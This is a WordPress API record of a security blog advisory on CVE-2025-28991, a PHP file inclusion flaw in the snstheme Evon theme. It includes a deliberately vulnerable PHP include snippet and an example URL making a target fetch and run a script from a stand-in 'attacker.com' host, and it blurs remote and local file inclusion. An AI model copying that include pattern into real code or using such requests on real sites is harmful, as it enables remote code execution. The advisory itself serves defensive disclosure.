{"id":55421,"date":"2025-06-27T07:10:25","date_gmt":"2025-06-27T07:10:25","guid":{"rendered":""},"modified":"2025-07-02T23:37:19","modified_gmt":"2025-07-03T05:37:19","slug":"cve-2025-28991-remote-file-inclusion-vulnerability-in-snstheme-evon-php-program","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28991-remote-file-inclusion-vulnerability-in-snstheme-evon-php-program\/","title":{"rendered":"<strong>CVE-2025-28991: Remote File Inclusion Vulnerability in snstheme Evon PHP Program<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world is facing a severe challenge with the discovery of a new vulnerability, CVE-2025-28991. This vulnerability lies within snstheme Evon, a PHP program, and is associated with an improper control of filename for Include\/Require statement, thereby allowing hackers to exploit PHP local file inclusion. Given the popularity of PHP in web development, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62627\">vulnerability has the potential<\/a> to affect a significant number of systems, raising the stakes for rapid and effective mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28991<br \/>\nSeverity: High, with a CVSS score of 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62628\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-663876476\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>snstheme Evon | n\/a through 3.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit works by taking advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43586-adobe-commerce-improper-access-control-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"63150\">improper control<\/a> of filename for Include\/Require statement in PHP programs. By manipulating the filename in the Include\/Require statement, an attacker can remotely include a file from a different server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47167-microsoft-office-type-confusion-vulnerability-leading-to-unauthorized-local-code-execution\/\"  data-wpil-monitor-id=\"61765\">leading to PHP Local<\/a> File Inclusion. This, in turn, can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32717-heap-based-buffer-overflow-in-microsoft-office-word-leading-to-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"61831\">lead to code<\/a> execution on the server, data leakage, and potential full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2656851254\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61890\">file being included from a remote<\/a> server:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n$evil_var = $_GET[&#039;evil_var&#039;];\ninclude($evil_var);\n?&gt;<\/code><\/pre>\n<p>In this example, an attacker could manipulate the &#8216;evil_var&#8217; GET parameter to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49275-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogbyte\/\"  data-wpil-monitor-id=\"62043\">file from a remote<\/a> server. For instance, &#8216;http:\/\/target.example.com\/vulnerable_script.php?evil_var=http:\/\/attacker.com\/malicious_script.php&#8217;.<br \/>\nThis would cause the server to include and execute the malicious_script.php file from the attacker&#8217;s server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5689-critical-vulnerability-in-pre-auth-nss-leading-to-root-group-access\/\"  data-wpil-monitor-id=\"61745\">leading to a successful exploit of the CVE-2025-28991 vulnerability<\/a>.<\/p>\n<p><strong>Remediation<\/strong><\/p>\n<p>As a mitigation measure, users are advised to apply the vendor-provided patch as soon as possible. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Additionally, it is recommended to always sanitize user inputs and avoid using user-supplied input directly in an include or require statement.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is facing a severe challenge with the discovery of a new vulnerability, CVE-2025-28991. This vulnerability lies within snstheme Evon, a PHP program, and is associated with an improper control of filename for Include\/Require statement, thereby allowing hackers to exploit PHP local file inclusion. Given the popularity of PHP in web development, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55421","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55421","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55421"}],"version-history":[{"count":7,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55421\/revisions"}],"predecessor-version":[{"id":56743,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55421\/revisions\/56743"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55421"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55421"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55421"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55421"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55421"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55421"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55421"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55421"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55421"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}